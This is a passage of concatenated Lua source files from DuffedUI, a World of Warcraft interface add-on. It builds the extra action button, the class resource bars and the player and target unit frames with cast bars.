bnet:Hide()
tinsert(D.AllowFrameMoving, bnet)<file_sep>/DuffedUI/modules/actionbars/extra.lua
local D, C, L = unpack(select(2, ...))
if not C["actionbar"].enable then return end
local holder = CreateFrame("Frame", "DuffedUIExtraActionBarFrameHolder", UIParent)
holder:Size(80, 80)
if C["raid"].center then holder:SetPoint("BOTTOM", -235, 88) else holder:SetPoint("BOTTOM", 0, 250) end
holder:SetMovable(true)
holder:SetTemplate("Default")
holder:SetBackdropBorderColor(1, 0, 0)
holder:SetAlpha(0)
holder.text = D.SetFontString(holder, C["media"].font, 11)
holder.text:SetPoint("CENTER")
holder.text:SetText(L["move"]["extrabutton"])
holder.text:Hide()
tinsert(D.AllowFrameMoving, DuffedUIExtraActionBarFrameHolder)
ExtraActionBarFrame:SetParent(UIParent)
ExtraActionBarFrame:ClearAllPoints()
ExtraActionBarFrame:SetPoint("CENTER", holder, "CENTER", 0, 0)
ExtraActionBarFrame.ignoreFramePositionManager = true
local button = ExtraActionButton1
local icon = button.icon
local texture = button.style
local disableTexture = function(style, texture)
if string.sub(texture, 1, 9) == "Interface" or string.sub(texture, 1, 9) == "INTERFACE" then style:SetTexture("") end
end
button.style:SetTexture("")
hooksecurefunc(texture, "SetTexture", disableTexture)<file_sep>/DuffedUI/modules/unitframes/elements/monk.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "MONK" then return end
local texture = C["media"].normTex
local layout = C["unitframes"].layout
if not C["unitframes"].attached then D.ConstructEnergy("Energy", 216, 5) end
D.ConstructRessources = function(name, width, height)
local Bar = CreateFrame("Frame", name, UIParent)
Bar:Size(width, height)
Bar:SetBackdrop(backdrop)
Bar:SetBackdropColor(0, 0, 0)
Bar:SetBackdropBorderColor(0, 0, 0)
for i = 1, 6 do
Bar[i] = CreateFrame("StatusBar", name .. i, Bar)
Bar[i]:Height(5)
Bar[i]:SetStatusBarTexture(texture)
if i == 1 then
Bar[i]:Width(width / 6)
Bar[i]:SetPoint("LEFT", Bar, "LEFT", 0, 0)
else
Bar[i]:Width(width / 6)
Bar[i]:SetPoint("LEFT", Bar[i - 1], "RIGHT", 1, 0)
end
end
Bar:CreateBackdrop()
if C["unitframes"].oocHide then
Bar:RegisterEvent("PLAYER_REGEN_DISABLED")
Bar:RegisterEvent("PLAYER_REGEN_ENABLED")
Bar:RegisterEvent("PLAYER_ENTERING_WORLD")
Bar:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then Bar:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/elements/warlock.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "WARLOCK" then return end
local texture = C["media"].normTex
local font, fonsize, fontflag = C["media"].font, 12, "THINOUTLINE"
if not C["unitframes"].attached then D.ConstructEnergy("Energy", 216, 5) end
D.ConstructRessources = function(name, width, height)
local wb = CreateFrame("Frame", name, UIParent)
wb:Size(width, height)
wb:SetBackdrop(backdrop)
wb:SetBackdropColor(0, 0, 0)
wb:SetBackdropBorderColor(0, 0, 0)
for i = 1, 4 do
wb[i] = CreateFrame("StatusBar", name..i, wb)
wb[i]:Height(height)
wb[i]:SetStatusBarTexture(texture)
if i == 1 then
wb[i]:Width(width / 4)
wb[i]:SetPoint("LEFT", wb, "LEFT", 0, 0)
else
wb[i]:Width(width / 4)
wb[i]:SetPoint("LEFT", wb[i - 1], "RIGHT", 1, 0)
end
wb[i].bg = wb[i]:CreateTexture(nil, "ARTWORK")
end
wb:CreateBackdrop()
if C["unitframes"].oocHide then
wb:RegisterEvent("PLAYER_REGEN_DISABLED")
wb:RegisterEvent("PLAYER_REGEN_ENABLED")
wb:RegisterEvent("PLAYER_ENTERING_WORLD")
wb:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then wb:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/elements/rogue.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "ROGUE" then return end
local texture = C["media"].normTex
local Colors = {
[1] = {.70, .30, .30},
[2] = {.70, .40, .30},
[3] = {.60, .60, .30},
[4] = {.40, .70, .30},
[5] = {.30, .70, .30},
}
if not C["unitframes"].attached then D.ConstructEnergy("Energy", 216, 5) end
D.ConstructRessources = function(name, width, height)
local ComboPoints = CreateFrame("Frame", name, UIParent)
ComboPoints:Size(width, height)
ComboPoints:CreateBackdrop()
for i = 1, 5 do
ComboPoints[i] = CreateFrame("StatusBar", name .. i, ComboPoints)
ComboPoints[i]:Height(height)
ComboPoints[i]:SetStatusBarTexture(texture)
ComboPoints[i]:SetStatusBarColor(unpack(Colors[i]))
ComboPoints[i].bg = ComboPoints[i]:CreateTexture(nil, "BORDER")
ComboPoints[i].bg:SetTexture(unpack(Colors[i]))
if i == 1 then
ComboPoints[i]:SetPoint("LEFT", ComboPoints)
ComboPoints[i]:Width(44)
ComboPoints[i].bg:SetAllPoints(ComboPoints[i])
else
ComboPoints[i]:Point("LEFT", ComboPoints[i - 1], "RIGHT", 1, 0)
ComboPoints[i]:Width(42)
ComboPoints[i].bg:SetAllPoints(ComboPoints[i])
end
ComboPoints[i].bg:SetTexture(texture)
ComboPoints[i].bg:SetAlpha(.15)
end
local AnticipationBar = CreateFrame("Frame", name .. "AnticipationBar", UIParent)
AnticipationBar:Point("BOTTOM", ComboPoints, "TOP", 0, 5)
AnticipationBar:Size(width, height)
AnticipationBar:CreateBackdrop()
for i = 1, 5 do
AnticipationBar[i] = CreateFrame("StatusBar", name .. "AnticipationBar" .. i, AnticipationBar)
AnticipationBar[i]:Height(height)
AnticipationBar[i]:SetStatusBarTexture(texture)
AnticipationBar[i]:SetStatusBarColor(unpack(Colors[i]))
AnticipationBar[i].bg = AnticipationBar[i]:CreateTexture(nil, "BORDER")
AnticipationBar[i].bg:SetTexture(unpack(Colors[i]))
if i == 1 then
AnticipationBar[i]:Point("LEFT", AnticipationBar, "LEFT", 0, 0)
AnticipationBar[i]:Width(44)
AnticipationBar[i].bg:SetAllPoints(AnticipationBar[i])
else
AnticipationBar[i]:Point("LEFT", AnticipationBar[i-1], "RIGHT", 1, 0)
AnticipationBar[i]:Width(42)
AnticipationBar[i].bg:SetAllPoints(AnticipationBar[i])
end
AnticipationBar[i].bg:SetTexture(texture)
AnticipationBar[i].bg:SetAlpha(.15)
end
if C["unitframes"].oocHide then
ComboPoints:RegisterEvent("PLAYER_REGEN_DISABLED")
ComboPoints:RegisterEvent("PLAYER_REGEN_ENABLED")
ComboPoints:RegisterEvent("PLAYER_ENTERING_WORLD")
ComboPoints:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, (0.3 * (0 + self:GetAlpha())), self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then ComboPoints:SetAlpha(0) end
end
end)
AnticipationBar:RegisterEvent("PLAYER_REGEN_DISABLED")
AnticipationBar:RegisterEvent("PLAYER_REGEN_ENABLED")
AnticipationBar:RegisterEvent("PLAYER_ENTERING_WORLD")
AnticipationBar:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then AnticipationBar:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/unitframes/layouts/layout1.lua
local D, C, L = unpack(select(2, ...))
if not C["unitframes"].enable or C["unitframes"].layout ~= 1 then return end
local ADDON_NAME, ns = ...
local oUF = ns.oUF or oUF
assert(oUF, "DuffedUI was unable to locate oUF install.")
ns._Objects = {}
ns._Headers = {}
--[[Local Variables]]--
local normTex = C["media"].normTex
local glowTex = C["media"].glowTex
local bubbleTex = C["media"].bubbleTex
local font = D.Font(C["font"].unitframes)
local backdrop = {
bgFile = C["media"].blank,
insets = {top = -D.mult, left = -D.mult, bottom = -D.mult, right = -D.mult},
}
--[[Layout]]--
local function Shared(self, unit)
self.colors = D.UnitColor
self:RegisterForClicks("AnyUp")
self:SetScript("OnEnter", UnitFrame_OnEnter)
self:SetScript("OnLeave", UnitFrame_OnLeave)
self.menu = D.SpawnMenu
local InvFrame = CreateFrame("Frame", nil, self)
InvFrame:SetFrameStrata("HIGH")
InvFrame:SetFrameLevel(5)
InvFrame:SetAllPoints()
local RaidIcon = InvFrame:CreateTexture(nil, "OVERLAY")
RaidIcon:SetTexture("Interface\\AddOns\\DuffedUI\\medias\\textures\\raidicons.blp")
RaidIcon:SetHeight(20)
RaidIcon:SetWidth(20)
RaidIcon:SetPoint("TOP", 0, 11)
self.RaidIcon = RaidIcon
--[[Fader]]--
if C["unitframes"].fader == true then
self.FadeCasting = true
self.FadeCombat = true
self.FadeTarget = true
self.FadeHealth = true
self.FadePower = true
self.FadeHover = true
self.FadeSmooth = 0.5
self.FadeMinAlpha = C["unitframes"].minalpha
self.FadeMaxAlpha = 1
end
--[[Player & Target]]--
if (unit == "player" or unit == "target") then
local panel = CreateFrame("Frame", nil, self)
panel:SetTemplate("Default")
panel:Size(250, 21)
panel:SetPoint("BOTTOM", self, "BOTTOM", 0, 0)
panel:SetFrameLevel(2)
panel:SetFrameStrata("MEDIUM")
panel:SetBackdropBorderColor(unpack(C["media"].bordercolor))
panel:SetAlpha(0)
self.panel = panel
local health = CreateFrame("StatusBar", nil, self)
health:Height(20)
health:SetPoint("TOPLEFT")
health:SetPoint("TOPRIGHT")
health:SetStatusBarTexture(normTex)
local HealthBorder = CreateFrame("Frame", nil, health)
HealthBorder:SetPoint("TOPLEFT", health, "TOPLEFT", D.Scale(-2), D.Scale(2))
HealthBorder:SetPoint("BOTTOMRIGHT", health, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
HealthBorder:SetTemplate("Default")
HealthBorder:SetFrameLevel(2)
self.HealthBorder = HealthBorder
local healthBG = health:CreateTexture(nil, "BORDER")
healthBG:SetAllPoints()
healthBG:SetTexture(0, 0, 0)
if C["unitframes"].percent then
local percHP
percHP = D.SetFontString(health, C["media"].font, 20, "THINOUTLINE")
percHP:SetTextColor(unpack(C["media"].datatextcolor1))
if unit == "player" then
if C["raid"].center then percHP:SetPoint("RIGHT", health, "LEFT", -25, -10) else percHP:SetPoint("LEFT", health, "RIGHT", 25, -10) end
elseif unit == "target" then
if C["raid"].center then percHP:SetPoint("LEFT", health, "RIGHT", 25, -10) else percHP:SetPoint("RIGHT", health, "LEFT", -25, -10) end
end
self:Tag(percHP, "[DuffedUI:perchp]")
self.percHP = percHP
end
health.value = health:CreateFontString(nil, "OVERLAY")
health.value:SetFontObject(font)
health.value:Point("RIGHT", health, "RIGHT", -4, -1)
health.PostUpdate = D.PostUpdateHealth
self.Health = health
self.Health.bg = healthBG
health.frequentUpdates = true
if C["unitframes"].showsmooth == true then health.Smooth = true end
if C["unitframes"].unicolor == true then
health.colorTapping = false
health.colorDisconnected = false
health.colorClass = false
health:SetStatusBarColor(unpack(C["unitframes"].healthbarcolor))
healthBG:SetVertexColor(unpack(C["unitframes"].deficitcolor))
healthBG:SetTexture(.6, .6, .6)
if C["unitframes"].ColorGradient then
health.colorSmooth = true
healthBG:SetTexture(0, 0, 0)
end
else
health.colorDisconnected = true
health.colorTapping = true
health.colorClass = true
health.colorReaction = true
end
local power = CreateFrame("StatusBar", nil, self)
power:Height(18)
power:Width(228)
power:Point("TOP", health, "BOTTOM", 2, 9)
power:Point("TOPRIGHT", health, "BOTTOMRIGHT", 5, -2)
power:SetStatusBarTexture(normTex)
power:SetFrameLevel(self.Health:GetFrameLevel() + 2)
power:SetFrameStrata("BACKGROUND")
local PowerBorder = CreateFrame("Frame", nil, power)
PowerBorder:SetPoint("TOPLEFT", power, "TOPLEFT", D.Scale(-2), D.Scale(2))
PowerBorder:SetPoint("BOTTOMRIGHT", power, "BOTTOMRIGHT", D.Scale(2), D.Scale(-2))
PowerBorder:SetTemplate("Default")
PowerBorder:SetFrameLevel(power:GetFrameLevel() - 1)
self.PowerBorder = PowerBorder
local powerBG = power:CreateTexture(nil, "BORDER")
powerBG:SetAllPoints(power)
powerBG:SetTexture(normTex)
powerBG.multiplier = 0.3
power.value = health:CreateFontString(nil, "OVERLAY")
power.value:SetFontObject(font)
if (unit == "player") then power.value:Point("LEFT", health, "LEFT", 4, -1) end
self.Power = power
self.Power.bg = powerBG
power.PreUpdate = D.PreUpdatePower
power.PostUpdate = D.PostUpdatePower
power.frequentUpdates = true
power.colorDisconnected = true
if C["unitframes"].showsmooth == true then power.Smooth = true end
if C["unitframes"].unicolor == true then
power.colorTapping = true
power.colorClass = true
else
power.colorPower = true
end
if C["unitframes"].charportrait == true then
local portrait = CreateFrame("PlayerModel", nil, health)
portrait:SetFrameLevel(health:GetFrameLevel())
portrait:SetAllPoints(health)
portrait:SetAlpha(.15)
portrait.PostUpdate = D.PortraitUpdate
self.Portrait = portrait
end
if C["unitframes"].playermodel == "Icon" then
local classicon = CreateFrame("Frame", nil, health)
classicon:Size(29)
if unit == "player" then classicon:Point("BOTTOMRIGHT", power, "BOTTOMLEFT", -5, 0) else classicon:Point("BOTTOMLEFT", power, "BOTTOMRIGHT", 5, 0) end
classicon:CreateBackdrop()
classicon.tex = classicon:CreateTexture("ClassIcon", "ARTWORK")
classicon.tex:SetAllPoints(classicon)
self.ClassIcon = classicon.tex
end
if D.Class == "PRIEST" and C["unitframes"].weakenedsoulbar then
local ws = CreateFrame("StatusBar", self:GetName().."_WeakenedSoul", power)
ws:SetAllPoints(power)
ws:SetStatusBarTexture(C["media"].normTex)
ws:GetStatusBarTexture():SetHorizTile(false)
ws:SetBackdrop(backdrop)
ws:SetBackdropColor(unpack(C["media"].backdropcolor))
ws:SetStatusBarColor(205/255, 20/255, 20/255)
self.WeakenedSoul = ws
end
local AltPowerBar = CreateFrame("StatusBar", self:GetName().."_AltPowerBar", self.Health)
AltPowerBar:SetFrameLevel(0)
AltPowerBar:SetFrameStrata("LOW")
AltPowerBar:SetHeight(5)
AltPowerBar:SetStatusBarTexture(C["media"].normTex)
AltPowerBar:GetStatusBarTexture():SetHorizTile(false)
AltPowerBar:SetStatusBarColor(163/255, 24/255, 24/255)
AltPowerBar:EnableMouse(true)
AltPowerBar:Point("LEFT", DuffedUIInfoLeft, 2, -2)
AltPowerBar:Point("RIGHT", DuffedUIInfoLeft, -2, 2)
AltPowerBar:Point("TOP", DuffedUIInfoLeft, 2, -2)
AltPowerBar:Point("BOTTOM", DuffedUIInfoLeft, -2, 2)
AltPowerBar:SetBackdrop({
bgFile = C["media"].blank,
edgeFile = C["media"].blank,
tile = false, tileSize = 0, edgeSize = 1,
insets = { left = 0, right = 0, top = 0, bottom = D.Scale(-1)}
})
AltPowerBar:SetBackdropColor(0, 0, 0)
self.AltPowerBar = AltPowerBar
if (unit == "player") then
local Combat = health:CreateTexture(nil, "OVERLAY")
Combat:Height(19)
Combat:Width(19)
Combat:SetPoint("TOP", health, "TOPLEFT", 0, 12)
Combat:SetVertexColor(0.69, 0.31, 0.31)
self.Combat = Combat
FlashInfo = CreateFrame("Frame", "DuffedUIFlashInfo", self)
FlashInfo:SetScript("OnUpdate", D.UpdateManaLevel)
FlashInfo.parent = self
FlashInfo:SetAllPoints(health)
FlashInfo.ManaLevel = FlashInfo:CreateFontString(nil, "OVERLAY")
FlashInfo.ManaLevel:SetFontObject(font)
FlashInfo.ManaLevel:SetPoint("CENTER", health, "CENTER", 0, 1)
self.FlashInfo = FlashInfo
local PVP = health:CreateTexture(nil, "OVERLAY")
PVP:SetHeight(D.Scale(32))
PVP:SetWidth(D.Scale(32))
PVP:SetPoint("TOPLEFT", health, "TOPRIGHT", -7, 7)
self.PvP = PVP
local Leader = InvFrame:CreateTexture(nil, "OVERLAY")
Leader:Height(14)
Leader:Width(14)
Leader:Point("TOPLEFT", 2, 8)
self.Leader = Leader
local MasterLooter = InvFrame:CreateTexture(nil, "OVERLAY")
MasterLooter:Height(14)
MasterLooter:Width(14)
self.MasterLooter = MasterLooter
self:RegisterEvent("PARTY_LEADER_CHANGED", D.MLAnchorUpdate)
self:RegisterEvent("PARTY_MEMBERS_CHANGED", D.MLAnchorUpdate)
if (D.Class == "WARRIOR" or D.Class == "MONK" or D.Class == "PRIEST") and C["unitframes"].showstatuebar then
local bar = CreateFrame("StatusBar", "DuffedUIStatueBar", self)
bar:SetWidth(5)
bar:SetHeight(29)
bar:Point("LEFT", power, "RIGHT", 7, 5)
bar:SetStatusBarTexture(C["media"].normTex)
bar:SetOrientation("VERTICAL")
bar.bg = bar:CreateTexture(nil, "ARTWORK")
bar.background = CreateFrame("Frame", "DuffedUIStatue", bar)
bar.background:SetAllPoints()
bar.background:SetFrameLevel(bar:GetFrameLevel() - 1)
bar.background:SetBackdrop(backdrop)
bar.background:SetBackdropColor(0, 0, 0)
bar.background:SetBackdropBorderColor(0,0,0)
bar:CreateBackdrop()
self.Statue = bar
end
if C["unitframes"].classbar then
if D.Class == "DEATHKNIGHT" then
D.ConstructRessources("Runes", 216, 5)
if C["unitframes"].attached then Runes:Point("TOP", power, "BOTTOM", 0, 0) else Runes:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
end
if D.Class == "DRUID" then
local DruidManaUpdate = CreateFrame("Frame")
DruidManaUpdate:SetScript("OnUpdate", function() D.UpdateDruidManaText(self) end)
local DruidManaText = health:CreateFontString(nil, "OVERLAY")
DruidManaText:SetFontObject(font)
DruidManaText:Point("LEFT", power.value, "RIGHT", 5, 0)
DruidManaText:SetTextColor( 1, .49, .04 )
self.DruidManaText = DruidManaText
D.ConstructRessources("Druid", 216, 5)
if C["unitframes"].attached then
DruidMana:Point("TOP", power, "BOTTOM", 0, -8)
DruidEclipseBar:Point("TOP", power, "BOTTOM", 0, 0)
DruidWildMushroom:Point("TOP", power, "BOTTOM", 0, -8)
DruidComboPoints:SetPoint("TOP", power, "BOTTOM", 0, 0)
else
DruidMana:Point("TOP", CBAnchor, "BOTTOM", 0, -5)
DruidEclipseBar:Point("BOTTOM", CBAnchor, "TOP", 0, -5)
DruidWildMushroom:Point("TOP", CBAnchor, "BOTTOM", 0, -5)
DruidComboPoints:SetPoint("BOTTOM", CBAnchor, "TOP", 0, -5)
end
self.DruidMana = DruidMana
self.DruidMana.bg = DruidMana.Background
self.EclipseBar = DruidEclipseBar
self.WildMushroom = DruidWildMushroom
self.ComboPointsBar = DruidComboPoints
end
if D.Class == "MAGE" then
D.ConstructRessources("mb", "rp", 216, 5)
if C["unitframes"].attached then
mb:Point("TOP", power, "BOTTOM", 0, 0)
if C["unitframes"].runeofpower then rp:Point("TOP", power, "BOTTOM", 0, -8) end
else
mb:Point("BOTTOM", CBAnchor, "TOP", 0, -5)
if C["unitframes"].runeofpower then rp:Point("TOP", CBAnchor, "BOTTOM", 0, -5) end
end
self.ArcaneChargeBar = mb
self.RunePower = rp
end
if D.Class == "MONK" then
D.ConstructRessources("Bar", 216, 5)
if C["unitframes"].attached then Bar:Point("TOP", power, "BOTTOM", 0, 0) else Bar:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.HarmonyBar = Bar
end
if D.Class == "PALADIN" then
D.ConstructRessources("bars", 216, 5)
if C["unitframes"].attached then bars:Point("TOP", power, "BOTTOM", 0, 0) else bars:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.HolyPower = bars
end
if D.Class == "PRIEST" then
D.ConstructRessources("pb", 216, 5)
if C["unitframes"].attached then pb:Point("TOP", power, "BOTTOM", 0, 0) else pb:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.ShadowOrbsBar = pb
end
if D.Class == "ROGUE" then
D.ConstructRessources("ComboPoints", 216, 5)
if C["unitframes"].attached then ComboPoints:Point("TOP", power, "BOTTOM", 0, 0) else ComboPoints:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.ComboPointsBar = ComboPoints
self.AnticipationBar = ComboPointsAnticipationBar
end
if D.Class == "SHAMAN" then
D.ConstructRessources("TotemBar", 216, 5)
if C["unitframes"].attached then TotemBar:Point("TOP", power, "BOTTOM", 0, 0) else TotemBar:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.TotemBar = TotemBar
end
if D.Class == "WARLOCK" then
D.ConstructRessources("wb", 216, 5)
if C["unitframes"].attached then wb:Point("TOP", power, "BOTTOM", 0, 0) else wb:Point("BOTTOM", CBAnchor, "TOP", 0, -5) end
self.WarlockSpecBars = wb
end
end
self:SetScript("OnEnter", function(self)
if self.EclipseBar and self.EclipseBar:IsShown() then
self.EclipseBar.Text:Hide()
end
FlashInfo.ManaLevel:Hide()
UnitFrame_OnEnter(self)
end)
self:SetScript("OnLeave", function(self)
if self.EclipseBar and self.EclipseBar:IsShown() then
self.EclipseBar.Text:Show()
end
FlashInfo.ManaLevel:Show()
UnitFrame_OnLeave(self)
end)
end
if (unit == "target") then
local Name = health:CreateFontString(nil, "OVERLAY")
Name:Point("LEFT", health, "LEFT", 4, 0)
Name:SetJustifyH("LEFT")
Name:SetFontObject(font)
Name:SetShadowOffset(1.25, -1.25)
self:Tag(Name, "[DuffedUI:getnamecolor][DuffedUI:namelong] [DuffedUI:diffcolor][level] [shortclassification]")
self.Name = Name
end
if (unit == "target" and C["unitframes"].targetauras) then
local buffs = CreateFrame("Frame", nil, self)
local debuffs = CreateFrame("Frame", nil, self)
buffs:SetHeight(C["unitframes"].buffsize)
buffs:SetWidth(218)
buffs:SetPoint("BOTTOMLEFT", health, "TOPLEFT", -2, 5)
buffs.size = C["unitframes"].buffsize
buffs.num = 18
debuffs:SetHeight(C["unitframes"].debuffsize)
debuffs:SetWidth(218)
debuffs:SetPoint("BOTTOMLEFT", buffs, "TOPLEFT", 4, 2)
debuffs.size = C["unitframes"].debuffsize
debuffs.num = 27
buffs.spacing = 2
buffs.initialAnchor = "TOPLEFT"
buffs["growth-y"] = "UP"
buffs["growth-x"] = "RIGHT"
buffs.PostCreateIcon = D.PostCreateAura
buffs.PostUpdateIcon = D.PostUpdateAura
self.Buffs = buffs
debuffs.spacing = 2
debuffs.initialAnchor = "TOPRIGHT"
debuffs["growth-y"] = "UP"
debuffs["growth-x"] = "LEFT"
debuffs.PostCreateIcon = D.PostCreateAura
debuffs.PostUpdateIcon = D.PostUpdateAura
if unit == "target" then debuffs.onlyShowPlayer = C["unitframes"].onlyselfdebuffs end
self.Debuffs = debuffs
end
--[[Castbar for Player & Target]]--
if C["castbar"].enable == true then
local tcb = CreateFrame("Frame", "TCBanchor", UIParent)
tcb:SetTemplate("Default")
tcb:Size(225, 18)
if C["raid"].center then tcb:Point("BOTTOM", UIParent, "BOTTOM", 340, 130) else tcb:Point("BOTTOM", UIParent, "BOTTOM", 0, 395) end
tcb:SetClampedToScreen(true)
tcb:SetMovable(true)
tcb:SetBackdropColor(0, 0, 0)
tcb:SetBackdropBorderColor(1, 0, 0)
tcb.text = D.SetFontString(tcb, C["media"].font, 11)
tcb.text:SetPoint("CENTER")
tcb.text:SetText(L["move"]["target"])
tcb:Hide()
tinsert(D.AllowFrameMoving, TCBanchor)
local pcb = CreateFrame("Frame", "PCBanchor", UIParent)
pcb:SetTemplate("Default")
pcb:Size(376, 21)
pcb:Point("BOTTOM", DuffedUIBar1, "TOP", 0, 5)
pcb:SetClampedToScreen(true)
pcb:SetMovable(true)
pcb:SetBackdropColor(0, 0, 0)
pcb:SetBackdropBorderColor(1, 0, 0)
pcb.text = D.SetFontString(pcb, C["media"].font, 11)
pcb.text:SetPoint("CENTER")
pcb.text:SetText(L["move"]["player"])
pcb:Hide()
tinsert(D.AllowFrameMoving, PCBanchor)
local castbar = CreateFrame("StatusBar", self:GetName().."CastBar", self)
castbar:SetStatusBarTexture(normTex)
if unit == "player" then
castbar:Height(21)
if C["castbar"].cbicons then
castbar:Width(C["castbar"].playerwidth - 31)
else
castbar:Width(C["castbar"].playerwidth)
end
castbar:Point("RIGHT", PCBanchor, "RIGHT", -2, 0)
elseif unit == "target" then
castbar:Width(225)
castbar:Height(18)
castbar:Point("LEFT", TCBanchor, "LEFT", 0, 0)
end
castbar.CustomTimeText = D.CustomTimeText
castbar.CustomDelayText = CustomDelayText
castbar.PostCastStart = D.CastBar
castbar.PostChannelStart = D.CastBar
castbar.time = castbar:CreateFontString(nil, "OVERLAY")
castbar.time:SetFontObject(font)
castbar.time:Point("RIGHT", castbar, "RIGHT", -5, 0)
castbar.time:SetTextColor(0.84, 0.75, 0.65)
castbar.time:SetJustifyH("RIGHT")
castbar.Text = castbar:CreateFontString(nil, "OVERLAY")
castbar.Text:SetFontObject(font)
castbar.Text:Point("LEFT", castbar, "LEFT", 6, 0)
castbar.Text:SetTextColor(0.84, 0.75, 0.65)
castbar:CreateBackdrop()
if C["castbar"].cbicons then
castbar.button = CreateFrame("Frame", nil, castbar)
castbar.button:SetTemplate("Default")
if unit == "player" then
castbar.button:Size(25)
castbar.button:Point("RIGHT", castbar, "LEFT", -4, 0)
elseif unit == "target" then
castbar.button:Size(25)
castbar.button:Point("BOTTOM", castbar, "TOP", 0, 5)
end
castbar.icon = castbar.button:CreateTexture(nil, "ARTWORK")
castbar.icon:Point("TOPLEFT", castbar.button, 2, -2)
castbar.icon:Point("BOTTOMRIGHT", castbar.button, -2, 2)
castbar.icon:SetTexCoord(0.08, 0.92, 0.08, .92)
end
if unit == "player" and C["castbar"].cblatency then
castbar.safezone = castbar:CreateTexture(nil, "ARTWORK")
castbar.safezone:SetTexture(normTex)
castbar.safezone:SetVertexColor(0.69, 0.31, 0.31, 0.75)
castbar.SafeZone = castbar.safezone
end
if unit == "player" and C["castbar"].spark then
castbar.Spark = castbar:CreateTexture(nil, "OVERLAY")
castbar.Spark:SetHeight(40)
castbar.Spark:SetWidth(10)
castbar.Spark:SetBlendMode("ADD")
end
self.Castbar = castbar
self.Castbar.Time = castbar.time
self.Castbar.Icon = castbar.icon
end
if C["unitframes"].combatfeedback == true then
local CombatFeedbackText
CombatFeedbackText = D.SetFontString(health, C["media"].font, 11, "THINOUTLINE")
CombatFeedbackText:SetPoint("CENTER", 0, 1)
CombatFeedbackText.colors = {
DAMAGE = {0.69, 0.31, 0.31},
CRUSHING = {0.69, 0.31, 0.31},
CRITICAL = {0.69, 0.31, 0.31},
GLANCING = {0.69, 0.31, 0.31},
STANDARD = {0.84, 0.75, 0.65},
IMMUNE = {0.84, 0.75, 0.65},
ABSORB = {0.84, 0.75, 0.65},
BLOCK = {0.84, 0.75, 0.65},
RESIST = {0.84, 0.75, 0.65},
MISS = {0.84, 0.75, 0.65},
HEAL = {0.33, 0.59, 0.33},
CRITHEAL = {0.33, 0.59, 0.33},
ENERGIZE = {0.31, 0.45, 0.63},
CRITENERGIZE = {0.31, 0.45, 0.63},
}
self.CombatFeedbackText = CombatFeedbackText
end
if C["unitframes"].healcomm then
local mhpb = CreateFrame("StatusBar", nil, self.Health)
mhpb:SetPoint("TOPLEFT", self.Health:GetStatusBarTexture(), "TOPRIGHT", 0, 0)
mhpb:SetPoint("BOTTOMLEFT", self.Health:GetStatusBarTexture(), "BOTTOMRIGHT", 0, 0)
mhpb:SetWidth(250)
mhpb:SetStatusBarTexture(normTex)
mhpb:SetStatusBarColor(0, 1, 0.5, 0.25)
mhpb:SetMinMaxValues(0,1)
local ohpb = CreateFrame("StatusBar", nil, self.Health)
ohpb:SetPoint("TOPLEFT", mhpb:GetStatusBarTexture(), "TOPRIGHT", 0, 0)
ohpb:SetPoint("BOTTOMLEFT", mhpb:GetStatusBarTexture(), "BOTTOMRIGHT", 0, 0)
ohpb:SetWidth(250)
ohpb:SetStatusBarTexture(normTex)
ohpb:SetStatusBarColor(0, 1, 0, 0.25)
local absb = CreateFrame("StatusBar", nil, self.Health)
absb:SetPoint("TOPLEFT", ohpb:GetStatusBarTexture(), "TOPRIGHT", 0, 0)
absb:SetPoint("BOTTOMLEFT", ohpb:GetStatusBarTexture(), "BOTTOMRIGHT", 0, 0)
absb:SetWidth(250)
absb:SetStatusBarTexture(normTex)
absb:SetStatusBarColor(1, 1, 0, 0.25)
self.HealPrediction = {
myBar = mhpb,
otherBar = ohpb,
absorbBar = absb,
maxOverflow = 1,
}
end
if C["unitframes"].playeraggro == true then
table.insert(self.__elements, D.UpdateThreat)
self:RegisterEvent("PLAYER_TARGET_CHANGED", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_LIST_UPDATE", D.UpdateThreat)
self:RegisterEvent("UNIT_THREAT_SITUATION_UPDATE", D.UpdateThreat)
end
if unit == "player" then self:RegisterEvent("PLAYER_ENTERING_WORLD", D.updateAllElements) end
end
--[[Target of Target & Pet]]--
if (unit == "targettarget") or (unit == "pet") then
local panel = CreateFrame("Frame", nil, self)
panel:SetTemplate("Default")
panel:Size(129, 17)
panel:Point("BOTTOM", self, "BOTTOM", 0, D.Scale(0))
panel:SetFrameLevel(2)
panel:SetFrameStrata("MEDIUM")
